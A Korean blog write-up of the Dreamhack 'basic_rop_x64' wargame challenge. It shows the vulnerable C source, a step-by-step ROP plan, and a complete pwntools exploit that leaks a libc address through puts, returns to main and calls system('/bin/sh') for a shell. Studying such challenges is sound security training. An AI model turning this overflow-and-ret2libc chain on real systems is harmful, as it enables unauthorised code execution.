Fascination
article thumbnail

basic_rop_x64

이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x64)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.


# 문제 분석

- 소스 코드

  • main 함수에서 read 함수와 write 함수를 사용함
  • 둘 중 하나의 GOT를 읽어 libc.so.6가 매핑된 영역의 주소를 구하고, 이를 통해 system 함수의 주소를 얻을 수 있을 것
  • 데이터를 읽어들일 수 있는 함수는 read 함수이며 이를 통해 system 함수의 주소를 구하게 된다면 이미 ROP 페이로드가 전송된 이후이므로 다시 main 함수로 돌아가야 할 것
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

 

- Checksec

  • NX enabled
  • 카나리 X

 

 

# Exploit

- 과정

  • read의 plt와 got 그리고 puts의 plt를 읽어 익스플로잇에 활용할 것임 
    • puts 함수가 plt에 정의되어 있고 이는 인자를 하나만 필요로 하기 때문에 페이로드를 간편하게 구성할 수 있을 것
    • 이때 puts는 pop rdi; ret 가젯을 필요로 함

  • main 함수로 다시 돌아가는 ret2main을 위해 main 함수의 시작주소(0x4007ba)를 찾음

  • read 함수 주소를 읽기 위해 puts 함수를 활용할 것
    • main 함수 내의 코드가 실행되면서 write(1, buf, sizeof(buf))를 통해 입력한 값이 먼저 출력되게 한 후 main 함수의 ret을 pop rdi; ret 가젯으로 조작한다면 우리가 원하는대로 read_got를 출력해볼 수 있을 것임
    • 이때 main 함수 내의 buf의 크기는 0x40임을 확인할 수 있음
    • 입력 값을 buf의 크기( 0x40) + rbp(0x8) 만큼 준다면 ret을 조작할 수 있음

  • 다음과 같은 페이로드 작성 시 read 함수의 주소를 구하고 system 함수의 주소도 구할 수 있음
payload = b"A"*0x48
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
payload += p64(main)
p.send(payload)

p.recvuntil('A'*0x40) # write 부분 실행 후
read = u64(p.recv(6) + b'\x00'*2) # main에서 조작한 가젯으로 이동하여 puts(read@got) 실행
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
  • 다음 명령어를 통해 libc.so.6 내에 존재하는 libc base로부터 "/bin/sh" 문자열까지의 offset을 구할 수 있음

  • "/bin/sh" 문자열과 system 함수의 주소를 통해 ret2main 기법을 활용하여 다음과 같은 새로운 rop chain을 구성할 수 있음
binsh = lb + 0x18cd57

payload = b"A"*0x48
payload += p64(pop_rdi)
payload += p64(binish)
payload += p64(system)
p.send(payload)

 

- Exploit Code

from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p = remote("host3.dreamhack.games", 24346)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")

read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x0000000000400883
main = 0x4007ba

payload = b"A"*0x48
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
payload += p64(main)
p.send(payload)

p.recvuntil('A'*0x40)
read = u64(p.recv(6) + b'\x00'*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
binsh = lb + 0x18cd57
slog("libc base",lb)
slog("read", read)
slog("system",system)
slog("binsh",binsh)

payload = b"A"*0x48
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.send(payload)

p.interactive()

 

 

# 실행결과

'War Game & CTF > Dreamhack' 카테고리의 다른 글

[Dreamhack] file-download-1  (0) 2023.02.08
[Dreamhack] basic_rop_x86  (4) 2022.09.24
[Dreamhack] out_of_bound  (0) 2022.09.15
[Dreamhack] Return Oriented Programming  (0) 2022.09.14
[Dreamhack] ssp_001  (0) 2022.09.13
profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!